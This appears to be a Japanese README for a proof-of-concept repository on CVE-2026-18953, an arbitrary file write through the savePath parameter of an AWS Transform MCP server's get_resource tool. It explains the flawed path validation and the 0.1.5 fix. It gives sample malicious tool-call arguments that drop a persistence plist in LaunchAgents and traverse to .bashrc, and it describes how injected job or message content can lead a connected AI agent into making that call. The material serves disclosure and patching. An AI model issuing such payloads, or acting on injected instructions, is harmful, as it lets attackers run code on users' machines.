
CVE-2026-18953のPoC — awslabs.aws-transform-mcp-serverのget_resourceツールにおけるsavePathパラメータを介した任意のファイル書き込み(CWE-22)
任意のファイル書き込みを awslabs.aws-transform-mcp-server (AWS Transform MCP サーバー) において、get_resource ツールの savePath パラメータ経由で行うものです。
| CVE | CVE-2026-18953 |
| CWE | CWE-22 — 制限付きディレクトリへのパス名の不適切な制限 |
| 影響を受けるバージョン | awslabs.aws-transform-mcp-server 0.1.0 – 0.1.4 |
| 修正バージョン | 0.1.5 |
| CVSS v3.1 | 8.6 HIGH — AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| CVSS v4.0 | 6.3 MEDIUM — AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
| セキュリティアドバイザリ | GHSA-66mr-jr63-2jgw |
| セキュリティブルテン | AWS Security Bulletin 2026-075 |
| 報告者 | Drew Raines (協調的開示) |
| 公開日 | 2026-08-05 |
get_resource(resource="artifact" | "asset", ...) は、プリサイン付き S3 URL からファイルをダウンロードし、呼び出し元が savePath / fileName を渡すと、次の処理経由でローカルディスクに保存します:
tools/get_resource.py -> tool_utils.download_s3_content()
-> file_validation.validate_write_path()
<= 0.1.4 の validate_write_path() は、以下の処理のみを行います:
os.path.realpath(os.path.expanduser(...)) を使用して save_path を解決します。~/.aws, ~/.ssh, ~/.gnupg, ~/.docker, ~/.aws-transform-mcp, /etc/shadow, /etc/passwd)。os.path.basename() を使用して file_name からディレクトリ部分を除去します。解決されたディレクトリが特定のベース/作業ディレクトリ内に制限されることはなく、BLOCKED_FILENAMES (.bashrc, .zshrc, authorized_keys, id_rsa, …) は読み取り時にのみ適用され、書き込み時には適用されません。そのため、このサーバーの MCP クライアント — 同じツールを通じて取得した信頼できないジョブ/タスク/メッセージコンテンツによって間接的にプロンプトインジェクションを受けたエージェントを含みます — は、savePath に絶対パス、../.. トラバーサル、または機密性の高いドットファイル名を設定でき、サーバーは攻撃者の影響を受けたバイト列をそこに書き込みます。これは、オペレーターがダウンロードの保存先として想定しているディレクトリ外へのファイル書き込みプリミティブです。アドバイザリは「ローカルコード実行につながる可能性がある」(例: シェル起動ファイルの破壊) と指摘しています。
0.1.5 では、すべての解決済み書き込みパスがその下に収まる必要がある明示的な許可リスト付きベースディレクトリ (_ALLOWED_WRITE_BASE、$AWS_TRANSFORM_MCP_WRITE_DIR または起動時のサーバーの CWD から取得) を追加し、最終的な解決済み書き込みパスに対しても BLOCKED_FILENAMES を適用することで修正されています。
根本原因の完全な差分: vendor/0.1.4-vulnerable/file_validation.py と vendor/0.1.5-fixed/file_validation.py の比較 (いずれも PyPI / GitHub からそのまま取得、Apache-2.0)。
このサーバーに接続された MCP クライアント (Q Developer、Kiro、Claude など) は、次のようなツール呼び出しを発行します:
{
"name": "get_resource",
"arguments": {
"resource": "artifact",
"workspaceId": "ws-...",
"jobId": "job-...",
"artifactId": "art-...",
"savePath": "/Users/victim/Library/LaunchAgents",
"fileName": "com.evil.persist.plist"
}
}
または、相対的なサンドボックスディレクトリから:
{ "savePath": "../../../../../../Users/victim/.bashrc", "fileName": "x" }
このツールは、resource="task" のレスポンスをエージェントが読み取って対応すべきものとして説明し、resource="messages" のコンテンツはチャット/ジョブデータに由来するため、ワークスペースのコラボレーター (または侵害された上流のジョブ/メッセージソース) は、人間にこれを入力するよう説得する必要はありません。すでに接続されているエージェントを誘導して、悪意のある savePath を指定して get_resource を呼び出させるだけで十分です。この欠陥自体を実証するのに実際の AWS 認証情報は不要です。このバグは S3 フェッチの前後におけるローカルパス処理に完全に存在するためです。
python3 poc.py
サードパーティ依存関係なし、AWS アカウント不要、AWS へのネットワークアクセス不要です。スクリプトは次のことを行います:
file_validation.py をベンダー取り込みします (vendor/ を参照)。tool_utils.py とまったく同じ制御フローで download_s3_content() を再実装し (httpx を標準ライブラリの urllib に置き換えただけ — 依存関係ゼロ、ロジックは同じ)、get_resource とまったく同じ方法で駆動します。savePath/fileName のペア — 絶対パスエスケープ、相対 ../.. トラバーサル、読み取り時のみブロックされるドットファイル名 — を、脆弱なバリデータに対して実行し、次に修正済みのバリデータに対しても実行します。すべては使い捨ての mkdtemp() スクラッチディレクトリ内で行われます。実際の $HOME が触れられることは一切ありません。サンプル出力:
=== Target: file_validation.py from 0.1.4-vulnerable ===
-> Absolute path escape (no traversal needed at all)
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_absolute_path.sh
-> Relative "../../.." traversal out of the sandbox dir
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/dropped_by_traversal.sh
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: VULNERABLE: wrote OUTSIDE sandbox -> .../outside_sandbox/decoy_home/.bashrc
=== Target: file_validation.py from 0.1.5-fixed ===
-> Absolute path escape (no traversal needed at all)
RESULT: BLOCKED (raised ValueError): Write path must be within the working directory (...)
-> Relative "../../.." traversal out of the sandbox dir
RESULT: BLOCKED (raised ValueError): ...
-> Sensitive dotfile name, written inside a decoy $HOME
RESULT: BLOCKED (raised ValueError): ...
awslabs.aws-transform-mcp-server >= 0.1.5 にアップグレードしてください。旧バージョンに対するサーバー側の回避策はありません。アドバイザリはアップグレードを推奨しています。直ちにアップグレードできないオペレーターは、サーバーの CWD を専用の空のディレクトリに設定して実行し、サーバーが書き込めるファイルはすべて侵害されたものとして扱う必要があります。
README.md — this file
poc.py — self-contained PoC driver
vendor/_loguru_shim.py — tiny stand-in for the `loguru` dep (test scaffolding only)
vendor/0.1.4-vulnerable/file_validation.py — real vulnerable source, from PyPI sdist
vendor/0.1.5-fixed/file_validation.py — real patched source, from github.com/awslabs/mcp@main